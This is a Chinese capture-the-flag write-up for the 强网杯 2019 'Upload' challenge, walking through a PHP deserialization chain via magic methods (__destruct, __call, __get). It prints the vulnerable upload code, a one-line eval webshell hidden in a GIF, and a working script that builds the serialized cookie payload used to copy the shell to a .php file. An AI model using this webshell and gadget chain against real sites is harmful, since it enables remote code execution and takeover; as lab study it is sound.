[强网杯 2019]Upload
www.tar.gz发现源码,文件还有点大,是把整个工程文件都上传了。
用phpstrom打开的话会有断点提示,一处是在Register.php,另一处是在Index.php,是在提示我们用cookie传序列化字符串。
重点在Profile.php,毕竟文件上传都是在这里控制的,看到两个魔术方法__call和__get。调用本类中没有的方法触发__call,调用this->{$name},如果本类中也没有这个属性,调用__get。
再倒回去看index.php中Register类的__destruct方法,如果我们把checker赋成Profile类,就会因为Profile没有index()方法然后触发__call。Profile里也没有属性index接着触发__get,最后触发except,except是个数组,只需要给except[index]赋值就可以了。
那么except[index]要被赋成什么函数呢?注意到我们还有文件上传没有用到:把ext赋成1进入文件复制,先上传一个带木马的图片文件,它会被md5重命名,filename_tmp赋值成这个文件,filename可以是一个php文件,这样我们就能用一句话木马连接这个php文件了。
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
先上传个一句话木马GIF89a<?php @eval($_POST['attack']);?>
,拿到图片的链接
<?php
namespace app\web\controller;
class Register{
public $checker;
public $registed =0;
}
class Profile{
public $checker =0 ;
public $filename_tmp="./upload/07801db3e6badaec471b24e66b8de432/23c6161c5b4dafe8becc8e29452f00b2.png";
public $upload_menu;
public $filename="./upload/hack.php";
public $ext=1;
public $img;
public $except=array("index"=>"upload_img");
}
$a = new Register();
$a->checker = new Profile();
echo base64_encode(serialize($a));
回到网页修改cookie,刷新一下页面会报错,是正常的
访问php文件,一句话木马已经被上传,再用蚁剑连一下就行了